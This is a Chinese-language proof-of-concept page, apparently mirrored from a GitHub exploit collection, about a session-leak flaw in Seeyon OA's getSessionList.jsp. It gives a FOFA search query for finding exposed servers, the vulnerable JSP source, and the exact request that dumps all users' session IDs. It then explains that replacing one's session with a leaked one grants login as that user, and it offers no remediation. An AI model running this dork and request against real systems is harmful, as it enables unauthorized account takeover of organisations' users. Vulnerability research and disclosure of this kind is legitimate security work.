mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
64 lines
1.6 KiB
Markdown
64 lines
1.6 KiB
Markdown
# 致远OA getSessionList.jsp Session泄漏漏洞
|
||
|
||
## 洞描述
|
||
|
||
通过使用存在漏洞的请求时,会回显部分用户的Session值,导致出现任意登录的情况
|
||
|
||
## 影响版本
|
||
|
||
未知
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="致远互联-OA"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
出现漏洞的源码
|
||
|
||
```
|
||
<%@ page contentType="text/html;charset=GBK"%>
|
||
<%@ page session= "false" %>
|
||
<%@ page import="net.btdz.oa.ext.https.*"%>
|
||
<%
|
||
String reqType = request.getParameter("cmd");
|
||
String outXML = "";
|
||
boolean allowHttps = true;
|
||
if("allowHttps".equalsIgnoreCase(reqType)){
|
||
//add code to judge whether it allow https or not
|
||
allowHttps = FetchSessionList.checkHttps();
|
||
if (allowHttps) response.setHeader("AllowHttps","1");
|
||
}
|
||
if("getAll".equalsIgnoreCase(reqType)){
|
||
outXML = FetchSessionList.getXMLAll();
|
||
}
|
||
else if("getSingle".equalsIgnoreCase(reqType)){
|
||
String sessionId = request.getParameter("ssid");
|
||
if(sessionId != null){
|
||
outXML = FetchSessionList.getXMLBySessionId(sessionId);
|
||
}
|
||
}
|
||
else{
|
||
outXML += "<?xml version=\"1.0\" encoding=\"GB2312\"?>\r\n";
|
||
outXML += "<SessionList>\r\n";
|
||
// outXML += "<Session>\r\n";
|
||
// outXML += "</Session>\r\n";
|
||
outXML += "</SessionList>\r\n";
|
||
}
|
||
out.println(outXML);
|
||
%>
|
||
```
|
||
|
||
从上面的代码可知,当cmd参数为getAll时,便可获取到所有用户的SessionID ,请求
|
||
|
||
```
|
||
/yyoa/ext/https/getSessionList.jsp?cmd=getAll
|
||
```
|
||
|
||
回显Session则存在漏洞
|
||
|
||

|
||
|
||
通过替换 Session即可登陆系统 |